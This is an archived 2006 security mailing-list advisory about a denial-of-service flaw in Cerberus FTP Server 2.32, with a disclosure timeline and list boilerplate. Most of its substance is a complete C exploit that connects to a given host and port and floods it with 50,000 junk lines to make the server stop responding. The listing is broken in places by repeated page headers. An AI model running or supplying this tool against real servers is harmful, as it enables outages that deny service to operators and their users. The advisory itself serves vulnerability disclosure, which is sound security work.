

# [NT] Cerberus FTP Server DoS (CVH, Exploit)

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-01/msg00096.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxx)>
  - *Date:* 30 Jan 2006 10:49:49 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>  
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.  
<http://www.securiteam.com/maillinglist.html>

-----

Cerberus FTP Server DoS (CVH, Exploit)

---

## SUMMARY

" <<http://www.cerberusftp.com/>> Cerberus FTP Server provides industrial strength secure SSL/TLS encryption and powerful FTP server performance without sacrificing ease-of-use."

By sending Cerberus FTP Server arbitrary junk a remote attacker can cause the server to no longer respond to legitimate requests.

## DETAILS

Vulnerable Systems:

\* Cerberus FTP Server version 2.32

A denial-of-service attack (DoS) is an attack on a computer system or network that causes a loss of service to users, typically the loss of network connectivity and services by consuming the bandwidth of the victim network or overloading the computational resources of the victim system.

Exploit:

```
#include <stdio.h>
```

```
#include <sys/socket.h>
```

## [NT] Cerberus FTP Server DoS (CVH, Exploit)

```
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>

#define POCSTR "%s"

int header();
int usage(char *filename);
int remote_connect( char* ip, unsigned short port );

int header() {
printf("\n[i] KAPDA – Computer Security Science Researchers
Institute\n\n");
printf("[i] Title: \tCerberus FTP Server <= v2.32 Dos Exploit\n");
printf("[i] Discovered by: \tcvh {a} kapda.ir\n");
printf("[i] Exploit by: \tPi3cH {a} kapda.ir\n");
printf("[i] More info: \twww.kapda.ir/page–advisory.html\n\n");
return 0;
}

int usage(char *filename) {
printf("[i] Usage: \t%s HOST PORT\n",filename);
printf("[i] Example: \t%s 127.0.0.1 21\n\n",filename);
exit(0);
}

int remote_connect( char* ip, unsigned short port )
{
int s;
struct sockaddr_in remote_addr;
struct hostent* host_addr;

memset ( &remote_addr, 0x0, sizeof ( remote_addr ) );
if ( ( host_addr = gethostbyname ( ip ) ) == NULL )
{
printf ( "[e] Cannot resolve \"%s\"\n", ip );
exit ( 1 );
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_port = htons ( port );
remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
{
printf ( "[e] Socket failed!\n" );
exit(1);
}
if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct
sockaddr ) ) == -1 )
{
printf ( "[e] Failed connecting!\n" );
exit(1);
}
```

## [NT] Cerberus FTP Server DoS (CVH, Exploit)

```
}
return ( s );
}

int main(int argc, char *argv[]) {
int s,i;
char *request;
char junk_data[] = "DoS-JUNK-DATA.:(CVH):.\x0d\x0a";
header();
if( (argc < 2) )
usage(argv[0]);
request = (char *) malloc(1024);
printf("[r] Connecting to remote host\n");
s = remote_connect(argv[1],atoi(argv[2]));
sleep(1);
printf("[r] Creating buffer\n");
sprintf(request,POCSTR,junk_data);
printf("[r] Sending %d bytes of DOS buffer\n",strlen(request));
for(i=0;i<50000;i++)
if ( send ( s, request, strlen (request), 0 ) <= 0 )
{
printf("[e] Failed to send buffer\n");
close(s);
exit(1);
}
sleep(1);
printf("[s] Exploit Done!\n");
close(s);
free(request);
request = NULL;
return 0;
}
```

### Disclosure Timeline:

Found : Aug 21 2005

Vendor Contacted : Aug 21 2005

Release Date : Jan 14 2006

### ADDITIONAL INFORMATION

The original article can be found at:

<<http://www.kapda.ir/advisory-210.html>>

<http://www.kapda.ir/advisory-210.html>

=====

[NT] Cerberus FTP Server DoS (CVH, Exploit)

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====  
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- 
- Prev by Date: [\*\[UNIX\] CMU SNMP Utilities snmptrad Format String\*](#)
  - Next by Date: [\*\[REVS\] Hacking with the Google Search Engine\*](#)
  - Previous by thread: [\*\[UNIX\] CMU SNMP Utilities snmptrad Format String\*](#)
  - Next by thread: [\*\[REVS\] Hacking with the Google Search Engine\*](#)
  - Index(es):
    - ◆ [\*Date\*](#)
    - ◆ [\*Thread\*](#)